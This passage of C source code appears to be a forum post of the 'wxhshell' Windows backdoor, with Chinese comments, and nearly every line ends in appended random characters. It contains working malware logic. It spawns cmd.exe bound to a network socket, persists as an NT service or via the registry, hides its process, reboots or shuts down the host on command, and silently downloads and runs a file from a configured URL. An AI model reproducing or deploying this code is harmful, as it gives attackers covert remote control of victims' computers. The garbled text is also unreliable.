  else bI_MF/r''  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?;.=o?e9  
  } qZ +K4H  
  else { F%af05L[  
pd & HC  
    switch(cmd[0]) { ):}A Quy]  
  [N}QCy  
  // 帮助 #6l(2d  
  case '?': {  pn) {v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b`,Sd.2=('  
    break; N93R(x)%  
  } ry@p  
  // 安装 9?~6{!m_9  
  case 'i': { e@ $|xa")  
    if(Install()) P=\Hi.]%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Y(2Z<d  
    else rKd|s7l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bd% M.,  
    break; *!{&n*N  
    } x; -D}#  
  // 卸载 KaH e(  
  case 'r': { j]]5&u/l  
    if(Uninstall()) mV)t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J#t8xL  
    else 25 :vc0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 01uj-!D$@  
    break; 3bjCa\ "  
    } i~R+ g3oi  
  // 显示 wxhshell 所在路径 nZc6 *jiz  
  case 'p': { &-JIXVd*R  
    char svExeFile[MAX_PATH]; </?ef&  
    strcpy(svExeFile,"\n\r"); w^YXnLLJG  
      strcat(svExeFile,ExeFile); bAuiMw7!  
        send(wsh,svExeFile,strlen(svExeFile),0); Q2* 8c$  
    break; sG[qlzR=8  
    } vv<\LN0  
  // 重启 .;.Zbhm  
  case 'b': { U5@B7v1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~ _tK.m3  
    if(Boot(REBOOT)) p>:.js5.a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gm=&[?}  
    else { 5 wN)N~JE  
    closesocket(wsh); =MD)F  
    ExitThread(0); R!WDQGR(2  
    } `w8cV ?  
    break; rg]b$tL~  
    } $ndBT+ i  
  // 关机 [;F!\B-  
  case 'd': { :,R>e}lM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]n<B a7Y  
    if(Boot(SHUTDOWN)) {#`wW`U^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "{H{-`Ni  
    else { \yxGE+~P  
    closesocket(wsh); H1KXAy`&  
    ExitThread(0); 3DB= Xh  
    } G{Ju2HY  
    break; EM +! ph  
    } KM"?l<x0Y  
  // 获取shell [Fk|m1i!  
  case 's': { 9Av{>W?  
    CmdShell(wsh); Z("N *`VP;  
    closesocket(wsh); DW:\6k  
    ExitThread(0); eWD!/yr|  
    break; a\Gd;C ^`  
  } US-f<Wq  
  // 退出 qf<o"B|_9  
  case 'x': { ?A r}QN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;:J"- p  
    CloseIt(wsh); \ :q@I]2  
    break; 85] 'I%gT  
    } :6EX-Xyj  
  // 离开 +u\w4byl  
  case 'q': { ,nPnH1vb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TM_bu  
    closesocket(wsh); p?P.BU\CR  
    WSACleanup(); R3)ccom  
    exit(1); ,+gtr.  
    break; ?>vkY^/  
        } FJ?]|S.?,  
  } ~YviXSW  
  } c*" P+  
7X> @r"9<  
  // 提示信息 mYXL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6!*zgA5M'  
} $`t2SD  
  } d0zp89BEn  
a_b+RMy  
  return; PG|Zu3[  
} %.\+j,G7  
{cdrMP@""  
// shell模块句柄 j"zW0g!S  
int CmdShell(SOCKET sock) 3(.Y>er%U  
{ [W <j  
STARTUPINFO si; d$?+>t/  
ZeroMemory(&si,sizeof(si)); Zl]@;*u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q yQ[H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C}9|e?R[Rz  
PROCESS_INFORMATION ProcessInfo; xKepZ  
char cmdline[]="cmd"; Mdu\ci)lr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'CG% PjCO  
  return 0; mFd|JbW  
} fM*aZc*Y  
2xBh  
// 自身启动模式 Q,ZV C  
int StartFromService(void) ;L%\[H>G  
{ /7-FVqDx8  
typedef struct #wh[F"zX  
{ lJS3*x#H  
  DWORD ExitStatus; scrss  
  DWORD PebBaseAddress; 'BVI^H4  
  DWORD AffinityMask; 9'ky2 ]w  
  DWORD BasePriority; }me`(zp  
  ULONG UniqueProcessId; 'loko#6  
  ULONG InheritedFromUniqueProcessId; MOuEsm;  
}   PROCESS_BASIC_INFORMATION; 7sVO?:bj}  
A\.{(,;kp  
PROCNTQSIP NtQueryInformationProcess; 2=naPTP(  
nM99AW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g5*?2D}dqX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LK>;\BRe?  
\[wbJ  
  HANDLE             hProcess; &=wvlI52`  
  PROCESS_BASIC_INFORMATION pbi; =(v'8?--  
/!*=*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l}D /1~d  
  if(NULL == hInst ) return 0; ]y"=/Nu-Ja  
,!P}Y[|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U/h@Q\~U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]q&NO(:kbq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d\r-)VWSr"  
c Ze59  
  if (!NtQueryInformationProcess) return 0; + 7wMM#z  
q*cEosi'F?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jw{ duM;]  
  if(!hProcess) return 0; }eveNPB{5  
Xx\,<8Xn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6.6?Rp".  
buhbUmQ2  
  CloseHandle(hProcess); {P )O#  
> iYdr/^a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IreY8.FND  
if(hProcess==NULL) return 0; LXPO@2QF  
mIqm/5  
HMODULE hMod; %s^1de  
char procName[255]; u|6-[I  
unsigned long cbNeeded; # z7yoP  
PsD)]V9%:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]E'?#z.t  
P ?n k>  
  CloseHandle(hProcess); 1LAd5X  
lNl.lI\t)y  
if(strstr(procName,"services")) return 1; // 以服务启动 )VqPaKZl  
]yL+lv  
  return 0; // 注册表启动 NL;sn"  
} }pnp._j  
_VTpfeL@n  
// 主模块 p<}y'7(  
int StartWxhshell(LPSTR lpCmdLine) ;[[6[i  
{ z8]@Gh+ (  
  SOCKET wsl; E)f9`][  
BOOL val=TRUE; OLm@-I*  
  int port=0; .Dl ?a>I  
  struct sockaddr_in door; ZkQ6~cM  
4[MTEBx  
  if(wscfg.ws_autoins) Install(); +G[zE  
Il(o[Q>jJ3  
port=atoi(lpCmdLine); 5>daWmD  
QjG/H0*mP  
if(port<=0) port=wscfg.ws_port; ,|>>z#Rr(n  
O! XSU,  
  WSADATA data; NH}o`x/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rqdN%=C  
f+n {9Hz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZAN~TG<n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r~ f;g9I  
  door.sin_family = AF_INET; =RRv& "2r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sCrP+K0D  
  door.sin_port = htons(port); jaKW[@<  
 HB'9&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ; YQB  
closesocket(wsl); Xy=ETV%  
return 1; !3k-' ),z&  
} ln=fq:  
7I"~a<f0X`  
  if(listen(wsl,2) == INVALID_SOCKET) { WH1 " HO  
closesocket(wsl); _p0Yhju?  
return 1; m6BUKX\m  
} @hg[v`~  
  Wxhshell(wsl); kGAgXtE  
  WSACleanup(); <H60rON  
~%>i lWaHB  
return 0; gtMR/P:S  
]`x+wWe  
} }?mSMqnB  
nN<,rN{ :  
// 以NT服务方式启动 U~ a\v8l~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M]{~T7n-  
{ de W1>yh^_  
DWORD   status = 0; klQmo30i  
  DWORD   specificError = 0xfffffff; zKJQel5  
/"La@M37  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k0I$x:c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f2gh|p`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bQI :N  
  serviceStatus.dwWin32ExitCode     = 0; 5s^vC2$)  
  serviceStatus.dwServiceSpecificExitCode = 0; |*J;X<Vm  
  serviceStatus.dwCheckPoint       = 0; xzY/$?  
  serviceStatus.dwWaitHint       = 0; }03?eWk/y  
q7aqbkwz}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <astIu Au  
  if (hServiceStatusHandle==0) return; 3v3cK1K@oE  
J|U~W kW  
status = GetLastError(); }Tm+gJA  
  if (status!=NO_ERROR) r`FTiPD.C  
{  7Tr '<(A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7mi=Xa:U  
    serviceStatus.dwCheckPoint       = 0; ?S=y>b9R  
    serviceStatus.dwWaitHint       = 0; B(71I;  
    serviceStatus.dwWin32ExitCode     = status; 7!`1K_v6  
    serviceStatus.dwServiceSpecificExitCode = specificError; U%1M?vT/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tD}{/`{_t  
    return; \hlS?uD\  
  }  wDiq~!  
fOSJdX0e|Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 23=wz%tF  
  serviceStatus.dwCheckPoint       = 0; !F6rcDKI  
  serviceStatus.dwWaitHint       = 0; b u/GaE~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wjd_|Kui  
} 0e'@Xo2e  
I^``x+a  
// 处理NT服务事件,比如:启动、停止 S]c&T`jx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ) @f6  
{ )c0Dofhg  
switch(fdwControl) t8#u}u  
{ <q4 <3A  
case SERVICE_CONTROL_STOP: $viZ[Lu!m  
  serviceStatus.dwWin32ExitCode = 0; 3gs7Xj%N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^[hx`Rh`t  
  serviceStatus.dwCheckPoint   = 0; "l-R|>6~  
  serviceStatus.dwWaitHint     = 0; Au{J/G<W@  
  { t$ 3/ZTx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t|}}#Z!I[f  
  } ![aa@nOSa  
  return; ;0:[X+"(  
case SERVICE_CONTROL_PAUSE: !TPKD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p2(Z(V7*  
  break; '0jn|9l58  
case SERVICE_CONTROL_CONTINUE: e#|YROHf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pbl#ieZM  
  break; yey]#M[y  
case SERVICE_CONTROL_INTERROGATE: ")eY{C  
  break; t,308Z  
}; G9r~O#=gy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qW|_|%{U+  
} e4Q2$ Q@b  
~ qezr\$2  
// 标准应用程序主函数 wF$z ?L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  ]YKxJ''u  
{ gE~LPwM  
BKd?%V8:Q  
// 获取操作系统版本 w'a3=_nW  
OsIsNt=GetOsVer(); F%G} >xn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z6IWQo,)Rh  
"{M?,jP#  
  // 从命令行安装 Q4F&#^02y  
  if(strpbrk(lpCmdLine,"iI")) Install(); O#x=iZI  
m,PiuR>  
  // 下载执行文件 sTw+.m{F  
if(wscfg.ws_downexe) { ygYy [IZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !p{CsR8c  
  WinExec(wscfg.ws_filenam,SW_HIDE); n|eM}ymF+  
} \U.js-  
5odXT *n  
if(!OsIsNt) { }mOo=)C!  
// 如果时win9x,隐藏进程并且设置为注册表启动 [Lq9lw&   
HideProc(); kt7x}F(?<  
StartWxhshell(lpCmdLine); )w,<XJhg`  
} ~ ;ObT=  
else W}M 3z  
  if(StartFromService()) '>[Ut@lT;  
  // 以服务方式启动 J7+[+Y  
  StartServiceCtrlDispatcher(DispatchTable); Q+ZZwqyxD  
else >Et~h65d5  
  // 普通方式启动 %#C9E kr  
  StartWxhshell(lpCmdLine); U;t1 K  
}Dx.;0*:  
return 0; BRXDE7vw  
}
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只看该作者 1 发表于: 2006-10-10
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